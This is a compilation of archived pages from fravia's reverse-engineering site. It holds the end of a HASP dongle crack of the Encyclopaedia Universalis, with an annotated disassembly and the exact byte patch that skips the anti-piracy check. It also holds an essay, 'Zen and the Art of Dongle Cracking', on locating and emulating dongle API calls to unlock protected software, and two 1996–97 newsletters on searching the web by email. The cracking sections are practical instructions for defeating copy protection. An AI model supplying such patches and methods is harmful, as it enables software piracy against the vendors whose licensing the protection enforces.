:0005.04AB 6A00 push 0000
:0005.04AD 90 nop
:0005.04AE 0E push cs
:0005.04AF E83900 call 04EB <--- call To PERROR
messagebox "NO DONGLE"
:0005.04B2 8B360C0A mov si, [0A0C]
:0005.04B6 C7060C0A0000 mov word ptr [0A0C], 0000
:0005.04BC EB00 jmp 04BE
:0005.04BE A00B0A mov al, [0A0B]
:0005.04C1 98 cbw
:0005.04C2 40 inc ax
:0005.04C3 BB0300 mov bx, 0003
:0005.04C6 99 cwd
:0005.04C7 F7FB idiv bx
:0005.04C9 88160B0A mov [0A0B], dl
:0005.04CD EB14 jmp 04E3

:0005.04CF 00000000000000000000 BYTE 10 DUP(0)


:0005.04D9 00000000000000000000 BYTE 10 DUP(0)
:0005.04E3 8BC6 mov ax, si
:0005.04E5 5E pop si
:0005.04E6 1F pop ds
:0005.04E7 CB retf
:0005.04E8 5E pop si
:0005.04E9 1F pop ds
:0005.04EA CB retf

Exported fn(): PERROR - Ord:0026h


:0005.04EB B8FFFF mov ax, SEG ADDR of Segment 0008
:0005.04EE 45 inc bp
:0005.04EF 55 push bp
:0005.04F0 8BEC mov bp, sp
:0005.04F2 1E push ds
:0005.04F3 8ED8 mov ds, ax
:0005.04F5 81EC0001 sub sp, 0100
:0005.04F9 56 push si
:0005.04FA 8B7606 mov si, [bp+06]
:0005.04FD 0BF6 or si, si
:0005.04FF 7504 jne 0505
:0005.0501 8B360C0A mov si, [0A0C]

http://www.instinct.org/fravia/chineee1.htm (17 of 18) [2/7/2001 3:13:18 PM]


Dongle protection reversing (HASP)

And Always the call To PERROR when Clicking

on item INTERNET/IMPRIMER/PANIER etc ...

:0007.0157 B88B03 mov ax, 038B


:0007.015A 8BF8 mov di, ax
:0007.015C EB14 jmp 0172
:0007.015E 00000000000000000000 BYTE 10 DUP(0)
:0007.0168 00000000000000000000 BYTE 10 DUP(0)
:0007.0172 0BFF or di, di
:0007.0174 7408 je 017E <-- change into JMP 017E
(EB08)
:0007.0176 57 push di avoid the Message "logiciel
protege contre le Piratage"
:0007.0177 9AFFFF0000 call 0005.04EBh <-- call to PERROR
:0007.017C EB02 jmp 0180
:0007.017E 33C0 xor ax, ax
....
....
....

The End For UNIVERSALIS Version 3

--------------------
RESUME
--------------------
Encyclopaedia Universalis is really a good and complete
French Encyclopaedia.
But The Protection Scheme is not really good (not at all)!
Even if it use MEMOHASP Dongle ,its not a hard Crack,
cause u dont need The Dongle To crack it at 100%!

(c) REVERSED +Chineese (+HCU98)


chineese@mygale.org

(c) The+Chineese All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to project 3

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/chineee1.htm (18 of 18) [2/7/2001 3:13:18 PM]


Zen and the Art of Dongle Cracking

Zen and the Art of Dongle Cracking


(A somehow 'general' essay about dongles)

by zeezee
(24 December 1997, slightly edited by fravia+)

Courtesy of fravia's page of reverse engineering


Well, our dongle cracking project was being a little neglected... which is not nice, yet somehow understandable... huge
economic interests are in play here, and many 'lower' crackers prefer to find an 'economic' arrangement with the dongle
producers instead of publishing their (simple) cracks... (which is something that real +crackers should never do!)
And we have unfortunately had other delays as well: Marta never sent his contributions (we all know how lazy these
spanish friends are :-) and we are all still awaiting Quine's promised HASP tutorial (should be there soon, be prepared!)
Luckyly we have zeezee working hard on this as well! This is what zeezee wrote me:

hi fravia+

This time comes a little more 'general' essay about dongle cracking.
After winning with 4 dongles and loosing with one I can draw some general
conclusions which may help all will-be dongle crackers
Now read and enjoy... +HCU's dongle cracking is gaining 'momentum' (was about time... this crap 'faked hardware'
solution was gaining too much place (and easy money) on the protection scene... funny! As if a good logic analyzer would
not be enough to crack any stupid dongle black and blue!

I'll tell you what I like about this essay: zeezee DOES NOT gives us here any specific target! In fact to know which target a
cracker is working on is mostly utterly unimportant... the important thing for us is to learn HOW to reverse this kind of
code, not to learn how to crack a specific program... Hey! You better learn it right now in 1997 (you have still a week
before 1998), should you never have understood it until now: there are BILLIONS software programs out there... well, most
are crap, yet say there are hundred thousands good software programs you could eventually enjoy out there... what's the
point of giving any luser a 'specific' crack? (besides... most of the time it's much more fun cracking such software than using
it :-)
You dig it? A 'specific' target crack (with few exceptions) has therefore -mostly- NO interest whatsoever for us... what we
want is to understand how another fellow +cracker tackled HIS target in order to tackle OUR (completely different) ones
with this knowledge somewhere in our 'collective memory'... therefore zeezee's approach is VERY GOOD. You won't learn
here how to deprotect a specific dongle target, you will -eventually- learn how to crack your own dongle protected crap
next year! (Let's hope you'll write an essay on your approach :-)
Have a happy new 1998!

Zen and the Art of Dongle Cracking


------------------------------
by zeezee

Disclaimer:
I don't publish here any dongle-protected program names since it's not my goal
to make battles with lawyers, you see only relevant code snippets. This

http://www.instinct.org/fravia/zee__4.htm (1 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

tutorial is not about one specified software or dongle. The example given is
from a real program not widely available. The program itself isn't important.

So, let's start with blah-blah, sorry, with basics.

Dongles are small boxes connected to the LPT port (or sometimes to COM port) of
your computer. They should be (in fact they are in 99%) invisible to printer
connected to this port. There are variants of dongles mounted inside computer
but for us, the exact appearance of the dongle isn't important.

Inside of the dongle is an EEPROM or ASIC or maybe a dead fly. For us this is
only a black box which receives / sends data from our application via piece of
software (dongle API) which is sold with the dongle to app developers.
The app writers call the API and check values returned to make good/bad guy
jumps.

Most popular dongles are:


- Sentinel (big family) from Rainbow Technologies (USA)
- Hasp (not bad) from Aladin (Israel)
- Fest (if I recall made in Germany)
- Actikey (France)
and tens of others... See your favourite Dr Dobb's page.

Tools needed are usual: IDA, SoftICE, HIEW. And of course our application.
No logic analyzer, oscilloscope, maybe LED monitor if you really want it.

So, dear cracker, first step in our tutorial is:

*1* Identify the dongle you are dealing with.

It's not so hard in most cases. Either look at the dongle if you have
access to it, or look at all files that install with your soft, then you may
search all .DLL's, .VXD's etc. for copyright text other than application authors.
You find it quickly in almost all cases.

*2* Gather all possible information from www pages of dongle vendor.
This is VERY IMPORTANT STEP!

You will wonder how much doc you get. Full API, often with source, demo soft,
examples how to use API with your future biggest program etc. Get it all and
study carefully.
Remember: ALL computer hard/soft vendors are present in the Net. Just find them.
Don't panic when you read all info about dongle security. They ARE secure. OK.
You can't crack them unless they're done by complete idiots. OK.
But you want to crack the application, NOT the dongle.
When you read about RSA encryption, one-way functions and see in the
API some interesting Question/Answer hashing functions, remember that it's only
API. No one uses it. Only simple functions like Check/Serial Number/Read and
sometimes Write are used.

*3* You may also get an evaluation dongle from dongle dealer. For free.
If not for free ask for 14-day lease. It works! They want to sell these boxes.
Call these 0-800 or 0130 numbers. They want to help you unless you say something
stupid when asked for software you want to protect.

http://www.instinct.org/fravia/zee__4.htm (2 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

The people at Rainbow and Aladin dealers are _extremely_ helpful.

*4* Now you know the dongle/app you want to crack and have (or not) some additional
info. Time to think (+Orc calls it Zen).

Imagine a software company making big good proggy. The proggy is almost finished,
then comes the boss and says: "Ok, we're ready, now is the time to protect our
fantastic product. We have a demo kit from dongle X. So, dear programmers, use
it".
And poor programmers are studying dongle docs, API etc and putting some API
calls into their code.

Sometimes it ends like this:

call DONGLE
or ax, ax
jz goodguy
badguy:

Yes, you may not believe it, yet it's true. (See previous essays)

Sometimes they go little further but in most cases, I repeat: in MOST cases
the idea is stupid.

But the chain is so strong as its weakest link. And in all 4 different progs
protected with different dongles the weakest link was the interface:

Application - Dongle API (mostly contained in a DLL)

The dongle manufacturers are smart guys, they know how to encrypt data, make
self-modifying code, anti-debug tricks etc. I recommend: Leave their code as is.
The application side is much easier to crack.

The first thing in real crack is to find THE call (rarely more than one) to
the dongle API, Use IDA or WDASM and remember the name of the DLL containing
dongle API and after several minutes (last time 2 hours and 40MB .IDB file!)
you have it.

There should be a part of API statically linked to the executable we are


cracking which calls the DLL, funny people at Aladin make self-mod code here,
so our further goal is to go a bit up.

Our poor programmers are lazy. Everyone is lazy when it comes to make some
dumb work like calling the dongle. So they write their own functions like:

QuickCheckIfDonglePresent()
GetDongleSerialNumber()
ReadDongleByte( addr ) - or word, or dword, or even full table
WriteDongleByte( addr, value )

Maybe they are exported by name? Maybe the name is ReadDongle or similar?

Look carefully at references IDA gives you. You certainly find it.
You should find procs called only once - they should be interfaces between

http://www.instinct.org/fravia/zee__4.htm (3 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

application/API. Who writes two wrappers to one function?

The dongle API is very well structured in most cases, the function number is
explicitly given, 0 - check, 1 - get number, 2 - read, 3 - write, etc...
Identify where are params/results.
And this is the thing which helps us crack. We may have also the API docs!
The API producers want to make API maximally user-friendly. They make it also
more cracker-friendly... We may find quickly what the app expects from the
dongle by studying API calls and 'cmp ax' following it.

*5* Then comes the active part (you may need dongle for short period of time)
Patch the code inserting a CC byte in the 'App-API Interface' place(s).

Run SoftICE with BPINT 3.

Replace INT 3 with the original byte, then set BPX to this address, trace...
Look what happens when there is no dongle. You may have luck and quickly find
a checkpoint with bad/good guy switch. Try to go the other way and see what
happens (maybe your app starts running).

Try to patch the code to emulate QuickCheckIfDonglePresent function.


Simply return a value which satisfies calling proc.

This may be sufficient in most stupid cases.

Then try to emulate GetSerial# routine. Remember that dongle serial# may be
stored and used to display # in About box. See references IDA gives you.
Not all dongles have GetSerial# proc. Sometimes serial# is read like normal
data from dongle.

This may be sufficient in most not-so-stupid cases.

And then comes to dongle reading. Several bytes are read, I assume that you find
the place where they are stored and all references to this place.
Several checks may happen and certainly will happen in programs with different
options enabled/disabled by the dongle.

maybe so (real example from one of leading SCADA programs)


cmp eax, some_value1
je is_model_1
cmp eax, some_value2
je is_model_2
etc.

or maybe so (real example from Israeli program with Israeli dongle)

test eax, mask_1


jz lab1
call enable_option_1
lab1:
etc.

or maybe so (electrical engineering tools made in France with french dongle)

http://www.instinct.org/fravia/zee__4.htm (4 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

12 words read from dongle are stored from [ebx]

mov ecx, 12
lab1:
cmp word ptr [ebx], 1
jne lab2
call enable_option(cx)
lab2:
inc ebx
loop lab1

Believe me. It's real.

If you have a working dongle, read all values from it, and you know what to
emulate (set BPX after API read function does his job and make notes).

And here the real example. The app is useless to you, it isn't freely available,
so let's study the disassembly I prepared for you.

*1* Our dongle is french Actikey and the DLL is CCNMMNT.DLL


*2* We do the disassembly of our target (40 MB) and look into .idata section.
It takes a little longer than one cocktail...
The result is astonishing, but I wait until ALL references were displayed.
*3* Crtl-S and go to .idata section. I found extern imported from CCNMMNT.DLL
Go to reference of it.

00594510 ; Imports from CCNMMNT.dll


00594510
00594510 extrn CCNMM:dword ; DATA XREF: j_CCNMMr

Only one reference! The name j_CCNMM is assigned by IDA!


then:

00408770 ; S u b r o u t i n e
00408770
00408770 j_CCNMM proc near ; CODE XREF: key_io+6Fp
00408770 jmp ds:CCNMM ; jump to Dongle DLL
00408770 j_CCNMM endp

The name key_io and other below are assigned by me, they are not exported ;-)

Let's go one step up. See: Only one reference. A green light! We are on our
good way.
then:

0040BA10 key_io proc near ; CODE XREF: main_key_check+8


0040BA10 ; main_key_check+18Cp
0040BA10 ; key_check2+45p

After checking, I found that key_check2 is called only from the main_key_check,
so we still only have one reference here. We are still inside dongle API code.

Let's go up.

http://www.instinct.org/fravia/zee__4.htm (5 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

0040B840 ; S u b r o u t i n e
0040B840
0040B840 main_key_check proc near ; CODE XREF: key_fun_00+4Dp
0040B840 ; keyfn_18_sernum+68p
0040B840 ; keyfn_02_write+5Bp
0040B840 ; keyfn_03_read+56p
0040B840 ; key_fun_1b+50p
0040B840 ; key_fun_1c+54p
0040B840 ; key_fun_1d+5Cp

Of course you may ask, how do I know that this is API and not our
application? Quick answer: Funcs 1b, 1c and 1d aren't called!
Do you imagine writing wrappers that are never called? They were written by
the dongle makers and linked to the app.
In fact keyfn_02_write isn't called also. This is good news, the key should
always respond with the same data.

The names of the callers are self-explanatory. Where I got them from?
Studying the procs, that's all, see for example:

0040A250 keyfn_18_sernum proc near ; CODE XREF: (several)


0040A250
0040A250 arg_0 = dword ptr 8
0040A250
0040A250 push esi
0040A251 call key_fun_00
0040A256 cmp ax, 1
0040A25A jnz short skc110
0040A25C mov ax, 1 ; 1 - error?
0040A260 pop esi
0040A261 retn

0040A262 skc110:
0040A262 mov word ptr ds:key_fun, 18h ; function 18!!!
0040A26B xor eax, eax
0040A26D mov esi, [esp+4+arg_0]
0040A271 mov word ptr ds:key_result_1, magic1
0040A27A mov word ptr ds:key_par3, ax
0040A280 push offset key_par4
0040A285 mov word ptr ds:key_par4, ax
0040A28B push offset key_par3
0040A290 mov word ptr ds:key_par1, magic2
0040A299 mov word ptr ds:key_par2, magic3
0040A2A2 push offset key_par2
0040A2A7 mov [esi], eax
0040A2A9 push offset key_par1
0040A2AE push offset key_result_1
0040A2B3 push offset key_fun
0040A2B8 call main_key_check ; here our call
0040A2BD mov word ptr ds:main_result, ax
0040A2C3 add esp, 18h
....store results...

http://www.instinct.org/fravia/zee__4.htm (6 of 7) [2/7/2001 3:13:25 PM]


Zen and the Art of Dongle Cracking

The magic values are identifying the dongle and the product, so I removed
them... they are unimportant for our cracking.

And this is the top of dongle API. Now it's time to identify what the
API is expected to return. Several 'cmp ax, something' and I was able to emulate
API functions 00 (quick check) and 18 (get serial).
I applied a short patch using HIEW to emulate these functions.

After that my proggy started with all options disabled.


Analyzing other 'cmp ax, something' was almost trivial.

So I wrote a short emulator of key_fn_02_read and now the proggy opens all
options to me.

Conclusions.

* Dongle cracking is not much more complicated as serial# cracking. You need
more theoretical background from dongle producers, good disassembler which
finds all Xrefs and SoftICE of course. The shareware protections are often
much more sophisticated than simple dongle calls in expensive commercial apps.
Of course, there are programs protected better, but they are exceptions.

* Don't start cracking from BPIO on LPT ports. Try to find The Weakest Link!

* Remember, Programmers are lazy when it comes tu put foreign code into their own.
Not all API calls are used. Check simplest functions first and see what happens.

* Let your cracked program run for several minutes. Almost always there is
a dongle check performed each 1 minute or so. Your crack should survive this.
Try all actions the program should perform. Select every item from menu.
Or, if you prefer, study whole disassembly for dongle calls...

* Beware when cracking with real dongles connected. There is theoretically the
possibility to destroy a dongle. Use dongles only to read their contents
and remove them when SoftICE-ing your cracks. They aren't necessary at this
time :-) However I never found any auto-destruction procedure when studying
various dongles API.
Neverthless, you have been warned!

Good Luck!

zeezee
(c) zeezee All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 3

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/zee__4.htm (7 of 7) [2/7/2001 3:13:25 PM]


search7

HOW TO SEARCH THE WEB by fravia+


(Based on some original private emailings from +ORC)

You'll never download on line again


Letter 006 - December 1996

This is an exerpt from a newletter I wrote to explain things to total lamers where I work (I still believed in this in 1996 :-( please excuse the
patronising tone

The Web is immense, and still growing exponentially.


Million of pages are added/deleted/modified every day, some of them carrying information you may need or/and you did not even suspect could
exist.
Pages are the most evident information vector of the World Wide Web, but you should not forget that every hour, inside one of the thousand
"Usenet" groups, millions are discussing arguments that may greatly interest you.
No search engine can cope with this information quicksand. In order to search well, on the Web, you'll need a good mix of luck, nose and knowledge.
Searching effectively through mountains of junk is an art -per se-, which will be more and more important in ! the future. This newsletter will -I
hope- at least point you in the right direction, and will explain you how to search, per e-mail, on the Web.
You may search information on line (with a Web-browser like Microsoft's Explorer or -better- Netscape's Navigator) but you may also search per
e-mail, i.e. sending a message with your query in order to automatically get, as answer, the information you are! looking for.
I believe that to learn how to search the web for information (and how to "seed" the nuggets of information) is of paramount importance. The
following can be pretty helpful even if you routinely use a browser, and it's crucial if you do not have a browser ! access at the Web: only an email
address (say at work :-) The "spirit" of the whole Web is free information for everybody:.
We'll see here three simple "how to" examples:
1) FETCH A HTTP PAGE PER EMAIL
How to get -emailed- an "http://" address you already know.
2) PERFORM AN EMAIL-QUERY ON THE WEB
How to find -using good search engines- which pages (may) have the information you are looking for
3) PERFORM A QUERY PER EMAIL INSIDE ALL USENET GROUPS
How to find everything that has been said on "your" themes inside some usenet group you do not even know the name of.

1) GETTING AN "http://page" EMAILED TO YOU


(Agora fetching)
All pages on the Web have an "http://" address. This use is growing and no advertising to-day is seen without it. Recent books even offer the readers
an "http://" address in order to update continuously the information offered inside.
You use an AGORA (a "fetch engine") to get the content of a page you already know the address of (you may also use Agora in order to perform
queries, fetching "search engine" results... see below).
All AGORAs servers allow three main commands:
1) SEND

To: agora@dna.affrc.go.jp
Subject: (nothing here)
send http://www.gateway2000.com/support/techsupt/fb/3000/3047.htm
send http://www.boutell.com/faq/
This will send you the "raw" content of two pages (about Windows 95 and about the WWW).

2) DEEP

To: agora@dna.affrc.go.jp
Subject: (nothing here)
deep http://www.gateway2000.com/support/techsupt/fb/3000/3050.htm
This will send you the "raw" content of a page AND the raw content of all the pages "linked" to this page. Watch it! If there are many links you will
get quite a lot of emailings! Do not use the deep command to start with.

3) SOURCE

To: agora@dna.affrc.go.jp

http://www.instinct.org/fravia/sear1296.htm (1 of 4) [2/7/2001 3:13:29 PM]


search7
Subject: (nothing here)
source http://www.gateway2000.com/support/techsupt/fb/3000/3047.htm
source http://www.dna.affrc.go.jp/htdocs/Agora/Help.txt

This will send you the HTML code of these two pages, and you'll therefore be able to see them exactly "as they should be" using a copy of Netscape
that you have previously installed on your harddisk. You can get the most recents versions of Navigator and/or! of Explorer on any CD-ROM
magazine cover nowadays.
In my examples here I have been using a Japanese Agora, but there are other Agora servers that you can use (not many though). The difference
between them is mainly in terms of relative velocity and of the "geographic area" where the results for your querie! s are going to be pulled.

2) PERFORM AN EMAIL-QUERY ON THE WEB


(Agora querying: Webcrawler, AltaVista & Lykos)
First some important general rules:
Lower-case search will find matches of capitalised words also. For example, bonn will find matches for bonn, Bonn, and BONN. Do not use capital
letters in a search, unless you know exactly what you are doing: capital letters will force an exact case match o! n the entire word, i.e. boNn will will
search only for matches of boNn. Capital letters are considered distinct from lower-case letters. When a word is found in a Web page or a news
article, its case is preserved when it is stored in the index. When you ent! er a word in a query, therefore, it is always safe, and generally
recommended, to type it all in lower-case, because lower-case letters indicate a case-insensitive match. If you type any capital letters, you force an
exact case match on the entire word.
To find the documents most relevant to what you need, construct your query as precisely as you can. The "AltaVista" search engine, for instance,
ranks the documents found so the ones matching the most words and phrases in the query are listed first. Even so! , you might not find exactly what
you want at the head of the list if your search is too general.

WEBCRAWLER
Here a first query example using WEBCRAWLER, one of the deepest (and best) search engines on the Net. WebCrawler understands plain English
and is programmed with novice users in mind, so you don't need to be a master of Boolean search syntax to unleash its ! power. (Masters of Boolean
syntax can skip to our next Newsletter on "Advanced Searching").
Let's say we are interested in "linguistic phenomena". These should be the contents of our email query:

To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send
http://webcrawler.com/cgi-bin/WebQuery?linguistic+phenomena

Webcrawler will then send you a list of the first 25 documents matching your query, you'll be able to retrieve the ones that do interest you using the
ubiquitous Agora system described above.

Webcrawler parameters
&maxHits=25 is the default if omitted. You can choose to view search results 10, 25 or 100 at a time.
if you omit the &summaries=yes variable (short format) you will get the detailed format, which provides titles plus summaries, URLs, numerical
relevancy scores, and the option of viewing similar pages for each result returned

ALTAVISTA
The same search example, this time using AltaVista, the best and quickest search engine on the Net: These should be the contents of your email
message:

To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send http://www.altavista.digital.com/cgi-
bin/query?pg=q&what=web&fmt=.&q=linguistic+phenomena

AltaVista parameters:

&what=web in order to search web pages


&what=news in order to search inside newsgroups
&fmt=. Standard search (title, URL, first two lines, date and size)
&fmt=c Compact search (title, date and first 30 characters of each document)
&fmt=d Detailed search
&q=image%3Agarag%2A.jpg Search images of garages (yes, you may also search for
images), or, at least, jpg images with the name pattern "garag*.jpg" (i.e. which
have names beginning with "garag", where the %2A tag represents an asterisk *).

http://www.instinct.org/fravia/sear1296.htm (2 of 4) [2/7/2001 3:13:29 PM]


search7

In order to get the next 30 matches add a "start query" value: &stq=30 (start at 30), for instance:

http://www.altavista.digital.com/cgi-bin/query?pg=q&what=web&stq=30&fmt=.&q=linguistic+phenomena

LYKOS
The same search examples, this time using LYKOS, one of the oldest (and best) search engines on the Net: These should be the contents of your
email message:

To: agora@dna.affrc.go.jp
Subject: (nothing here)
Text: send
http://lycos11.lycos.cs.cmu.edu/cgi-bin/flpursuit?first=1\\&maxhits=30\\
&minterms=1\\&minscore=0.01\\&terse=standard\\&query=linguistic+phenomena

When the Lycos search engine compares each page to your query, it gives higher scores to pages that contain the words as you typed them in. It also
looks for pages that mention these words early on, rather than far down in some sub-section of the site.
The wording of all these queries (which MUST be an unique line) may seem pretty complicated at a first glance, but you'll only need to paste such a
command once, in order to perform your first email query. You'll later use the "sent items" folder (inside yo! ur Exchange program) to fetch
templates in order to perform all your other queries, i.e. you'll need to change only the subjects.
Usually, you'll "shoot" all your queries in the morning and later "collect" your results. This "ping pong" approach may be slow (compared with the
full graphic internet access that the browsers offer) but has some advantages: it leaves for instance a "bread! crumbs" trail that can be useful later. It's
indeed a "bookworm" approach to the Web, instead of a "butterfly" one.
Searches can (and should) be MUCH more complicated than in the examples above, as we'll see in the next newsletters. Here for instance a query
example "narrowed in":

send
http://webcrawler.com/cgi-bin/WebQuery?text=linguistic+phenomena+NOT+%28prefix+OR+%22vowel+weakening
%22%29

This translates the query: linguistic+phenomena NOT (prefix OR "vowel weakening")

3) PERFORM A QUERY PER EMAIL INSIDE ALL USENET GROUPS


(Usenet querying: Reference.com)

We saw, with AltaVista &what=news parameter, a possibility to query newsgroup (Usenet), here is another technique, which may fish quite a lot of
relevant results... albeit somehow a little more complicated. It deserves a try though. Reference.com is an emai! l query service focused on usenet
groups, which lets you search through an archive of more than 16,000 newsgroups and a rapidly growing number of publicly accessible mailing lists.
The quality and quantity of information on usenet is impressive.
To access the service by e-mail, you send an e-mail message containing query commands to: Email-Queries@Reference.COM
Easiest query is:

FIND linguistic AND NOT phonetics OR glossary


Using the correct parameters you can control your query pretty good, and you can even order the service to email you regularly (say twice weekly)
with all usenet messages of the last days where somebody spoke (anywhere on usenet) of the arguments you are in! terested in. I have for instance
there many automated queries running about "Web searching" arguments, this allows me to fish quite interesting results.
Reference.com will send you back a list of email messages where your query "phrases" appear. You'll decide which ones may interest you and you'll
be able to get them in extenso sending a second message to Reference.COM with the relative ID numbers. You can ! decide how many messages
should be sent to you in the first place, and how many lines of each emailing should be conserved for each message in the list: choose to few and
you'll not be sure if a message does really interest you, choose too many and your lis! t will be too huge. Here some examples:
1) easy

To: Email-Queries@Reference.COM
Subject: (nothing here)
Text: FIND Web AND searching
END

2) more complex

To: Email-Queries@Reference.COM
Subject: (nothing here)

http://www.instinct.org/fravia/sear1296.htm (3 of 4) [2/7/2001 3:13:29 PM]


search7
Text: FIND DISPLAY 10 LINES DISPLAY 100 HITS Web AND email OR
querying WHERE AGE <7 DAYS WHERE SUBJECT CONTAINS search END

3) even more complex (and automated) queries are possible. You'll in this case have to register the service (for free) in order to build and develop
your automated queries (through easy little scripts). Send an email with "help" as text to Email-Queries@Ref! erence.COM, you'll get full
instructions.

Exchange may add a signature to your e-mail messages. Specify "END" as the last word in the body of the message: this prevents the robot on
reference.com from interpreting your signature as a query command.

Go ahead, enjoy!

Go ahead, enjoy!
fravia+, December 1966

how to search 5 how to search 7 how to search 8

homepage links +ORC tools students' essays antismut anonymity search (lesson 6) counter measures cocktails search_forms
mail_fravia

fravia+ 04 Nov 97

http://www.instinct.org/fravia/sear1296.htm (4 of 4) [2/7/2001 3:13:29 PM]


search0397

HOW TO SEARCH THE


WEB
by fravia+
~

Letter 007 - (March - November) 1997

__The W3gate (image fetching)__


Search engines battles
Common errors

and also How to evalute the results of a search

Fetching sites and images: the W3gate


A very interesting possibility is offered by the fantastic W3gate,
a German server (how comes that German FTPservices are so developed?)
that allows you INCREDIBLE sniffing on the WWW.
Try for instance to send it following email and you'll at once
(well, as soon as you get the answer, say half an hour) understand what
I mean:

To: w3mail@gmd.de
Subject: nothing here
Text: get -a -img -l http://fravia.org/index.html

This IS the web-fetcher for all those that have slow connexions or that
have been 'banned' from the Web for whatever reason.

If you need more info about the W3gate, just send an "help" message to the
same address as above:w3mail@gmd.de

__Search engines battles and spiders__


Each search engine uses a "crawler" or "spider" agent to gather web pages. Most have nicknames. You can tell
if you have been visited by a crawler by checking your logs and looking for the various names which are often
part of the crawler's host name.

http://www.instinct.org/fravia/sear0397.htm (1 of 4) [2/7/2001 3:13:35 PM]


search0397

Do not believe that the more well known search engines are
also the best ones... alliances (and money) play unfortunately
a huge role in these matters, for example, Infoseek strong tie
to Netscape guarantees that many people use the service, The
world wide web worm has no netscape tie and no major commercial
backing, so fewer people use it.

AltaVista partnered with Yahoo in June 1996, becoming the


"preferred" search engine (see below). Altavista is very
vulnerable to spammers because of its near real-time indexing.
This makes it easy for slightly different variations of the same
page to be submitted in an attempt to block others from the
top ten. ROBOT NAME: SCOOTER

Excite was launched in late 1995 and grew quickly, eating


its competitors. In July 1996, Excite purchased the Magellan
search engine and directory. In november 1996, it acquired
Webcrawler, however Magellan and Webcrawler have not yet
been merged with Excite (eventually Magellan will: on January 22
Webcrawler took over Magellan's top spot on the Netscape
search page, where Excite has also a spot, giving it two
of the five top slots). ROBOT NAME: ARCHITEXT

HotBot was launched in May 1996 and represents Wired's entry


into the search engines competition. The site is powered by
the Inktomi search engine, but that does not mean that it is
the same as the UC Berkeley Inktomi catalog, it just uses the
same technology that created that catalog. ROBOT NAME: SPIDER

InfoSeek, around since early 1995, is well known and well


connected. In fall 1996 the new 'Ultrasmart / Ultraseek'
index (the commercial idiots always choose awful stupid
names), with 50 million URLs was introduced. Ultraseek is
the same as Ultrasmart, plus some additional information
on the found sites. ROBOT NAME: SLURP THE WEB

Lykos, around since May 1994, is one of the oldest search


engines. Was the FIRST engine to combat attempt to spam
in may 1996. ROBOT NAME: HOUND

Open Text, is an index that has been around since early 1995,
and until June 1996 was Yahoo's preferred search engine partner.
It's a search engine "in decline". ROBOT NAME: xxx

Webcrawler opened to the public on April 1994, and started as a


research project at the university of Washington. Purchased by
AOL in March 1995, which used it as preferred service until

http://www.instinct.org/fravia/sear0397.htm (2 of 4) [2/7/2001 3:13:35 PM]


search0397

November 1996, when Excite, a Webcrawler competitor, acquired


the service. ROBOT NAME: SPIDEY

Yahoo is around since late 1994, may be the oldest major web site
directory. It is a directory (not a search engine) based on
user submission. If a search of Yahoo's catalog doesn't fish,
users should then consult a search engine, Yahoo pipes the
query to any of the major search engines with a click. There
are so many people using Yahoo that the search engines listed
FIRST on Yahoo page have a strategic advantage over others. Alta
Vista is its preferred search engine.

Since Netscape navigator is the browser that people use, and since
browser have a search button that connect to a pre-defined page,
and since people are idiots that would not know how to change
such a setting even if you would explain it to them (of course you
have YOUR OWN search engine page on YOUR HARDDISK connected to
that button, if you do not be ashamed and copy at once my
searengi.htm on your harddisk, you'll later modify it as you
fancy) the page connected there IS important. Millions push
that button daily... search engines and directories had to
pay Netscape 5 million dollars each to have a top spot on that
page. AOL directs its suckers to Excite (strategic partner) and
Webcrawler (formerly-owned); Compuserve sends its suckers to
Lykos.

__Common errors__

[ERROR 400]
YOUR REQUEST COULD NOT BE UNDERSTOOD BY THE SERVER
Either your browser is malfunctioning or your Internet
connection is unreliable

[ERROR 401]
YOU ARE UNAUTHORIZED TO ACCESS THAT DOCUMENT/WEBSITE
proper authentication is required, ask root organisation

[ERRORS 403, 404, 505]


ACCESS TO THAT DOCUMENT/WEBSITE IS FORBIDDEN
Check the URL you typed (punctuation AND capitalisation)
Slashes MUST be forward-facing (/)
Contact the site maintainers

How to evalute the results of a search


http://www.instinct.org/fravia/sear0397.htm (3 of 4) [2/7/2001 3:13:35 PM]
search0397

This is usually the hardest and most time-consuming part of a search. The number of hits you obtain can range
from none to hundreds of thousands, and their relevance or usefulness can vary from considerable to negligible.
There are some things you can do to help produce more relevant hits for the fewest total number.
Too many hits are caused by the use of queries that are too general. Try using more specific terms. The
more exact your query, the better your results.
Too few hits are usually caused by too restrictive a query. Broaden your search by removing the least
required keywords or operators.
Try starting with a subject search and continue down the path to the last relevant title. At this stop, switch
to a keyword search. This limits the search to the last subject title, which will reduce the hits and improve
their relevancy.
Compose the query with the appropriate operators for the particular search tool that you select. A large
number of irrelevant hits are often due to a powerful search engine misguided in its search.
Narrow the scope of your search by choosing a specific field of search offered by the search engine, such
as a time period or geographical area.
Success in any particular search query is usually more a question of which search tool has the best database for
the subject and how the information is organized for retrieval. This is why it is often necessary to try a number
of different search tools when searching for obscure information.
Some search engines list the hits by titles, some by brief text and some give you a choice. When available
choose the brief text, as it is easier to evaluate. Even so, it is often necessary to click the link to see the entire
document before you can assess its content. Some sites may not be of apparent interest, but will contain links
that have great relevancy. Some searches yield the desired information quickly, and some you may just have to
plod through. Another problem is caused by search ngines that DO NOT list the DATES of the retrieved pages.
This is VERY BAD, because the 'volatility' of Internet will have probably caused the disappearence of many of
those sites (I for instance don't even bother to check pages with a 'fetch-date' older than three months when I am
confronted with many hits)
As you gain experience, you will find the search tools to use that are most appropriate for your particular
interests and how best to evaluate the hits.

Go ahead, enjoy!
fravia+, February-November 1997

how to search 5 how to search 6 how to search 8

homepage links +ORC tools cocktails search_forms mail_FraVia

FraVia 20 Feb 1997

http://www.instinct.org/fravia/sear0397.htm (4 of 4) [2/7/2001 3:13:35 PM]


Emailsnatching

fravia's emailsnatcher
See how easy it is...

Information that was gathered from your browser...

